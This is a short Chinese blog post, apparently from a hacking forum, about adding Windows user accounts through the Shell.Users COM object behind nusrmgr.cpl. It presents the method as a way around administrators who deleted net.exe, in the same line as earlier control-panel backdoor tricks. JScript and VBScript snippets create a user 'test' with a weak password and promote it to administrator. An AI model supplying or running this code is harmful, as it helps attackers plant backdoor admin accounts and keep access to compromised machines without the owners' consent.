之前有个html" target=_blank>xp下利用控制面板的cpl文件留后门，然后又有了用.cpl文件加账号的技术，lcx真的很厉害

今天研究了一下用户控制面板文件nusrmgr.cpl，发现调用的是Shell.Users来加用户，它还同时调用了wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话，这一个Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外，这也可能是一种新的加用户的方法。代码如下：

js:

var o=new ActiveXObject( “Shell.Users” );
z=o.create(”test”) ;
z.changePassword(”123456″,”")
z.setting(”AccountType”)=3;

vbs:

Set o=CreateObject( “Shell.Users” )
Set z=o.create(”test”)
z.changePassword “123456″,”"
z.setting(”AccountType”)=3